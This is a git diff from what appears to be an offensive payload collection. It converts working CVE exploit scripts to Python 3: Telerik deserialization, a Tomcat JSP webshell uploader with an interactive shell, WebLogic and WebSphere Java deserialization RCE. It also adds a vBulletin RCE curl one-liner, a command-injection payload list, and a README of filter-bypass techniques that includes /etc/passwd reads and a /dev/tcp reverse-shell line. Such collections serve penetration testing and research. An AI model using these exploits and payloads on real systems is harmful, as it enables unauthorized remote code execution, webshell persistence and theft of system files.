type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
|
||||||
|
raupostdata = build_raupostdata(object, type)
|
||||||
|
|
||||||
|
# Build multipart form data.
|
||||||
|
files = {
|
||||||
|
'rauPostData': (None, raupostdata), # Only need this now.
|
||||||
|
'': '' # One extra input is required for the page to process the request.
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send request.
|
||||||
|
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
|
||||||
|
start = time()
|
||||||
|
send_request(files)
|
||||||
|
end = time()
|
||||||
|
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
|
||||||
|
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
|
||||||
|
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
|
||||||
|
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
|
||||||
|
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
|
||||||
|
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
|
||||||
|
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
temp_target_folder = args.folder.replace('/', '\\')
|
||||||
|
ui_version = args.ui_version
|
||||||
|
net_version = args.net_version
|
||||||
|
filename_local = args.payload
|
||||||
|
filename_remote = str(time()) + splitext(basename(filename_local))[1]
|
||||||
|
url = args.url
|
||||||
|
|
||||||
|
upload()
|
||||||
|
|
||||||
|
if not args.test_upload:
|
||||||
|
deserialize()
|
||||||
|
|
||||||
150
CVE Exploits/Tomcat CVE-2017-12617.py
Executable file → Normal file
150
CVE Exploits/Tomcat CVE-2017-12617.py
Executable file → Normal file
@@ -7,21 +7,25 @@
|
|||||||
options:
|
options:
|
||||||
|
|
||||||
|
|
||||||
-u ,--url [::] check target url if it's vulnerable
|
-u ,--url [::] check target url if it's vulnerable
|
||||||
-p,--pwn [::] generate webshell and upload it
|
-p,--pwn [::] generate webshell and upload it
|
||||||
-l,--list [::] hosts list
|
-l,--list [::] hosts list
|
||||||
|
|
||||||
|
|
||||||
[+]usage:
|
[+]usage:
|
||||||
|
|
||||||
|
|
||||||
./cve-2017-12617.py -u http://127.0.0.1
|
./cve-2017-12617.py -u http://127.0.0.1
|
||||||
./cve-2017-12617.py --url http://127.0.0.1
|
./cve-2017-12617.py --url http://127.0.0.1
|
||||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||||
./cve-2017-12617.py -l hotsts.txt
|
./cve-2017-12617.py -l hotsts.txt
|
||||||
./cve-2017-12617.py --list hosts.txt
|
./cve-2017-12617.py --list hosts.txt
|
||||||
"""
|
"""
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import input
|
||||||
|
from builtins import str
|
||||||
|
from builtins import object
|
||||||
import requests
|
import requests
|
||||||
import re
|
import re
|
||||||
import signal
|
import signal
|
||||||
@@ -34,7 +38,7 @@ from optparse import OptionParser
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
class bcolors:
|
class bcolors(object):
|
||||||
HEADER = '\033[95m'
|
HEADER = '\033[95m'
|
||||||
OKBLUE = '\033[94m'
|
OKBLUE = '\033[94m'
|
||||||
OKGREEN = '\033[92m'
|
OKGREEN = '\033[92m'
|
||||||
@@ -50,14 +54,14 @@ class bcolors:
|
|||||||
banner="""
|
banner="""
|
||||||
|
|
||||||
|
|
||||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[@intx0x80]
|
[@intx0x80]
|
||||||
|
|
||||||
@@ -79,9 +83,9 @@ signal.signal(signal.SIGINT, signal_handler)
|
|||||||
|
|
||||||
|
|
||||||
def removetags(tags):
|
def removetags(tags):
|
||||||
remove = re.compile('<.*?>')
|
remove = re.compile('<.*?>')
|
||||||
txt = re.sub(remove, '\n', tags)
|
txt = re.sub(remove, '\n', tags)
|
||||||
return txt.replace("\n\n\n","\n")
|
return txt.replace("\n\n\n","\n")
|
||||||
|
|
||||||
|
|
||||||
def getContent(url,f):
|
def getContent(url,f):
|
||||||
@@ -94,9 +98,9 @@ def createPayload(url,f):
|
|||||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||||
if req.status_code==201:
|
if req.status_code==201:
|
||||||
print "File Created .."
|
print("File Created ..")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def RCE(url,f):
|
def RCE(url,f):
|
||||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||||
<INPUT name='cmd' type=text>
|
<INPUT name='cmd' type=text>
|
||||||
@@ -119,26 +123,26 @@ InputStreamReader(p.getInputStream()));
|
|||||||
<pre><%=output %></pre>"""
|
<pre><%=output %></pre>"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
|
|
||||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def shell(url,f):
|
def shell(url,f):
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
cmd=raw_input("$ ")
|
cmd=input("$ ")
|
||||||
payload={'cmd':cmd}
|
payload={'cmd':cmd}
|
||||||
if cmd=="q" or cmd=="Q":
|
if cmd=="q" or cmd=="Q":
|
||||||
break
|
break
|
||||||
|
|
||||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||||
re=str(re.content)
|
re=str(re.content)
|
||||||
t=removetags(re)
|
t=removetags(re)
|
||||||
print t
|
print(t)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -152,21 +156,21 @@ parse=OptionParser(
|
|||||||
bcolors.HEADER+"""
|
bcolors.HEADER+"""
|
||||||
|
|
||||||
|
|
||||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
./cve-2017-12617.py [options]
|
./cve-2017-12617.py [options]
|
||||||
|
|
||||||
options:
|
options:
|
||||||
|
|
||||||
-u ,--url [::] check target url if it's vulnerable
|
-u ,--url [::] check target url if it's vulnerable
|
||||||
-p,--pwn [::] generate webshell and upload it
|
-p,--pwn [::] generate webshell and upload it
|
||||||
-l,--list [::] hosts list
|
-l,--list [::] hosts list
|
||||||
|
|
||||||
@@ -187,7 +191,7 @@ options:
|
|||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||||
|
|
||||||
@@ -201,47 +205,35 @@ if opt.U==None and opt.P==None and opt.L==None:
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
if opt.U!=None and opt.P==None and opt.L==None:
|
if opt.U!=None and opt.P==None and opt.L==None:
|
||||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||||
url=str(opt.U)
|
url=str(opt.U)
|
||||||
checker="Poc.jsp"
|
checker="Poc.jsp"
|
||||||
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
print(bcolors.BOLD +"Poc Filename {}".format(checker))
|
||||||
createPayload(str(url)+"/",checker)
|
createPayload(str(url)+"/",checker)
|
||||||
con=getContent(str(url)+"/",checker)
|
con=getContent(str(url)+"/",checker)
|
||||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||||
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
|
||||||
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print 'Not Vulnerable to CVE-2017-12617 '
|
print('Not Vulnerable to CVE-2017-12617 ')
|
||||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||||
pwn=str(opt.P)
|
pwn=str(opt.P)
|
||||||
url=str(opt.U)
|
url=str(opt.U)
|
||||||
print "Uploading Webshell ....."
|
print("Uploading Webshell .....")
|
||||||
pwn=pwn+".jsp"
|
pwn=pwn+".jsp"
|
||||||
RCE(str(url)+"/",pwn)
|
RCE(str(url)+"/",pwn)
|
||||||
shell(str(url),pwn)
|
shell(str(url),pwn)
|
||||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||||
w=str(opt.L)
|
w=str(opt.L)
|
||||||
f=open(w,"r")
|
f=open(w,"r")
|
||||||
print "Scaning hosts in {}".format(w)
|
print("Scaning hosts in {}".format(w))
|
||||||
checker="Poc.jsp"
|
checker="Poc.jsp"
|
||||||
for i in f.readlines():
|
for i in f.readlines():
|
||||||
i=i.strip("\n")
|
i=i.strip("\n")
|
||||||
createPayload(str(i)+"/",checker)
|
createPayload(str(i)+"/",checker)
|
||||||
con=getContent(str(i)+"/",checker)
|
con=getContent(str(i)+"/",checker)
|
||||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||||
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
|
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
|
||||||
#Made with <3 by @byt3bl33d3r
|
#Made with <3 by @byt3bl33d3r
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import argparse
|
import argparse
|
||||||
@@ -34,29 +35,29 @@ else:
|
|||||||
ysoserial_path = args.ysoserial_path
|
ysoserial_path = args.ysoserial_path
|
||||||
|
|
||||||
if len(args.target.split(':')) != 2:
|
if len(args.target.split(':')) != 2:
|
||||||
print '[-] Target must be in format IP:PORT'
|
print('[-] Target must be in format IP:PORT')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if not args.command:
|
if not args.command:
|
||||||
print '[-] You must specify a command to run'
|
print('[-] You must specify a command to run')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
ip, port = args.target.split(':')
|
ip, port = args.target.split(':')
|
||||||
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
print '[*] Target IP: {}'.format(ip)
|
print('[*] Target IP: {}'.format(ip))
|
||||||
print '[*] Target PORT: {}'.format(port)
|
print('[*] Target PORT: {}'.format(port))
|
||||||
|
|
||||||
sock.connect((ip, int(port)))
|
sock.connect((ip, int(port)))
|
||||||
|
|
||||||
# Send headers
|
# Send headers
|
||||||
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
|
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
|
||||||
print '[*] Sending header'
|
print('[*] Sending header')
|
||||||
sock.sendall(headers)
|
sock.sendall(headers)
|
||||||
|
|
||||||
data = sock.recv(1024)
|
data = sock.recv(1024)
|
||||||
print'[*] Received: "{}"'.format(data)
|
print('[*] Received: "{}"'.format(data))
|
||||||
|
|
||||||
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||||
|
|
||||||
@@ -67,5 +68,5 @@ payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f
|
|||||||
# adjust header for appropriate message length
|
# adjust header for appropriate message length
|
||||||
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
|
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
|
||||||
|
|
||||||
print '[*] Sending payload'
|
print('[*] Sending payload')
|
||||||
sock.send(payload)
|
sock.send(payload)
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
from __future__ import print_function
|
||||||
|
from builtins import input
|
||||||
import requests
|
import requests
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
@@ -44,18 +46,18 @@ def do_post(command_in):
|
|||||||
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
||||||
|
|
||||||
if result.status_code == 500:
|
if result.status_code == 500:
|
||||||
print "Command Executed \n"
|
print("Command Executed \n")
|
||||||
else:
|
else:
|
||||||
print "Something Went Wrong \n"
|
print("Something Went Wrong \n")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
print "***************************************************** \n" \
|
print("***************************************************** \n" \
|
||||||
"**************** Coded By 1337g ****************** \n" \
|
"**************** Coded By 1337g ****************** \n" \
|
||||||
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
|
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
|
||||||
"***************************************************** \n"
|
"***************************************************** \n")
|
||||||
|
|
||||||
while 1:
|
while 1:
|
||||||
command_in = raw_input("Eneter your command here: ")
|
command_in = input("Eneter your command here: ")
|
||||||
if command_in == "exit" : exit(0)
|
if command_in == "exit" : exit(0)
|
||||||
do_post(command_in)
|
do_post(command_in)
|
||||||
|
|||||||
2
CVE Exploits/WebLogic CVE-2018-2894.py
Executable file → Normal file
2
CVE Exploits/WebLogic CVE-2018-2894.py
Executable file → Normal file
@@ -2,6 +2,8 @@
|
|||||||
# coding:utf-8
|
# coding:utf-8
|
||||||
# Build By LandGrey
|
# Build By LandGrey
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import str
|
||||||
import re
|
import re
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
|||||||
@@ -4,6 +4,8 @@
|
|||||||
#Based on the nessus plugin websphere_java_serialize.nasl
|
#Based on the nessus plugin websphere_java_serialize.nasl
|
||||||
#Made with <3 by @byt3bl33d3r
|
#Made with <3 by @byt3bl33d3r
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import chr
|
||||||
import requests
|
import requests
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
@@ -34,7 +36,7 @@ if not args.command:
|
|||||||
|
|
||||||
elif args.command:
|
elif args.command:
|
||||||
if len(args.command) > 254:
|
if len(args.command) > 254:
|
||||||
print '[-] Command must be less then 255 bytes'
|
print('[-] Command must be less then 255 bytes')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
ip, port = args.target.split(':')
|
ip, port = args.target.split(':')
|
||||||
@@ -75,4 +77,4 @@ headers = {'Content-Type': 'text/xml; charset=utf-8',
|
|||||||
'SOAPAction': 'urn:AdminService'}
|
'SOAPAction': 'urn:AdminService'}
|
||||||
|
|
||||||
r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
|
r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
|
||||||
print '[*] HTTPS request sent successfully'
|
print('[*] HTTPS request sent successfully')
|
||||||
|
|||||||
1
CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh
Normal file
1
CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"
|
||||||
@@ -3,19 +3,28 @@
|
|||||||
<!--#exec%20cmd="/usr/bin/id;-->
|
<!--#exec%20cmd="/usr/bin/id;-->
|
||||||
<!--#exec%20cmd="/usr/bin/id;-->
|
<!--#exec%20cmd="/usr/bin/id;-->
|
||||||
/index.html|id|
|
/index.html|id|
|
||||||
|
";id;"
|
||||||
|
';id;'
|
||||||
;id;
|
;id;
|
||||||
;id
|
;id
|
||||||
;netstat -a;
|
;netstat -a;
|
||||||
;id;
|
"|id|"
|
||||||
|
'|id|'
|
||||||
|id
|
|id
|
||||||
|/usr/bin/id
|
|/usr/bin/id
|
||||||
|id|
|
|id|
|
||||||
|
"|/usr/bin/id|"
|
||||||
|
'|/usr/bin/id|'
|
||||||
|/usr/bin/id|
|
|/usr/bin/id|
|
||||||
|
"||/usr/bin/id|"
|
||||||
|
'||/usr/bin/id|'
|
||||||
||/usr/bin/id|
|
||/usr/bin/id|
|
||||||
|id;
|
|id;
|
||||||
||/usr/bin/id;
|
||/usr/bin/id;
|
||||||
;id|
|
;id|
|
||||||
;|/usr/bin/id|
|
;|/usr/bin/id|
|
||||||
|
"\n/bin/ls -al\n"
|
||||||
|
'\n/bin/ls -al\n'
|
||||||
\n/bin/ls -al\n
|
\n/bin/ls -al\n
|
||||||
\n/usr/bin/id\n
|
\n/usr/bin/id\n
|
||||||
\nid\n
|
\nid\n
|
||||||
@@ -56,8 +65,12 @@ a|/usr/bin/id
|
|||||||
%0Acat%20/etc/passwd
|
%0Acat%20/etc/passwd
|
||||||
%0A/usr/bin/id
|
%0A/usr/bin/id
|
||||||
%0Aid
|
%0Aid
|
||||||
|
%22%0A/usr/bin/id%0A%22
|
||||||
|
%27%0A/usr/bin/id%0A%27
|
||||||
%0A/usr/bin/id%0A
|
%0A/usr/bin/id%0A
|
||||||
%0Aid%0A
|
%0Aid%0A
|
||||||
|
"& ping -i 30 127.0.0.1 &"
|
||||||
|
'& ping -i 30 127.0.0.1 &'
|
||||||
& ping -i 30 127.0.0.1 &
|
& ping -i 30 127.0.0.1 &
|
||||||
& ping -n 30 127.0.0.1 &
|
& ping -n 30 127.0.0.1 &
|
||||||
%0a ping -i 30 127.0.0.1 %0a
|
%0a ping -i 30 127.0.0.1 %0a
|
||||||
0
Remote commands execution/Intruders/command_exec.txt → Command Injection/Intruder/command_exec.txt
Executable file → Normal file
0
Remote commands execution/Intruders/command_exec.txt → Command Injection/Intruder/command_exec.txt
Executable file → Normal file
305
Command Injection/README.md
Normal file
305
Command Injection/README.md
Normal file
@@ -0,0 +1,305 @@
|
|||||||
|
# Command Injection
|
||||||
|
|
||||||
|
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Exploits](#exploits)
|
||||||
|
* [Basic commands](#basic-commands)
|
||||||
|
* [Chaining commands](#chaining-commands)
|
||||||
|
* [Inside a command](#inside-a-command)
|
||||||
|
* [Filter Bypasses](#filter-bypasses)
|
||||||
|
* [Bypass without space](#bypass-without-space)
|
||||||
|
* [Bypass with a line return](#bypass-with-a-line-return)
|
||||||
|
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
|
||||||
|
* [Bypass blacklisted words](#bypass-blacklisted-words)
|
||||||
|
* [Bypass with single quote](#bypass-with-single-quote)
|
||||||
|
* [Bypass with double quote](#bypass-with-double-quote)
|
||||||
|
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
|
||||||
|
* [Bypass with $@](#bypass-with-)
|
||||||
|
* [Bypass with $()](#bypass-with--1)
|
||||||
|
* [Bypass with variable expansion](#bypass-with-variable-expansion)
|
||||||
|
* [Bypass with wildcards](#bypass-with-wildcards)
|
||||||
|
* [Challenge](#challenge)
|
||||||
|
* [Time based data exfiltration](#time-based-data-exfiltration)
|
||||||
|
* [DNS based data exfiltration](#dns-based-data-exfiltration)
|
||||||
|
* [Polyglot command injection](#polyglot-command-injection)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix)
|
||||||
|
|
||||||
|
## Exploits
|
||||||
|
|
||||||
|
### Basic commands
|
||||||
|
|
||||||
|
Execute the command and voila :p
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
cat /etc/passwd
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||||
|
bin:x:2:2:bin:/bin:/bin/sh
|
||||||
|
sys:x:3:3:sys:/dev:/bin/sh
|
||||||
|
```
|
||||||
|
|
||||||
|
### Chaining commands
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
original_cmd_by_server; ls
|
||||||
|
original_cmd_by_server && ls
|
||||||
|
original_cmd_by_server | ls
|
||||||
|
original_cmd_by_server || ls # Only if the first cmd fail
|
||||||
|
```
|
||||||
|
|
||||||
|
### Inside a command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
original_cmd_by_server `cat /etc/passwd`
|
||||||
|
original_cmd_by_server $(cat /etc/passwd)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Filter Bypasses
|
||||||
|
|
||||||
|
### Bypass without space
|
||||||
|
|
||||||
|
Works on Linux only.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~/Www$ cat</etc/passwd
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ {cat,/etc/passwd}
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat$IFS/etc/passwd
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
|
||||||
|
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
||||||
|
RCE
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
|
||||||
|
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
|
||||||
|
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
||||||
|
|
||||||
|
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
|
||||||
|
```
|
||||||
|
|
||||||
|
Commands execution without spaces, $ or { } - Linux (Bash only)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
IFS=,;`cat<<<uname,-a`
|
||||||
|
```
|
||||||
|
|
||||||
|
Tabs work as separators in web apps where spaces are removed.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
;ls%09-al%09/home
|
||||||
|
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
|
||||||
|
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
|
||||||
|
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
|
||||||
|
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
|
||||||
|
```
|
||||||
|
|
||||||
|
Works on Windows only.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
ping%CommonProgramFiles:~10,-18%IP
|
||||||
|
ping%PROGRAMFILES:~10,-5%IP
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass with a line return
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
something%0Acat%20/etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
You can also write files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
;cat>/tmp/hi<<EOF%0ahello%0aEOF
|
||||||
|
;cat</tmp/hi
|
||||||
|
hello
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass characters filter via hex encoding
|
||||||
|
|
||||||
|
Linux
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||||
|
/etc/passwd
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
|
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
|
||||||
|
/etc/passwd
|
||||||
|
|
||||||
|
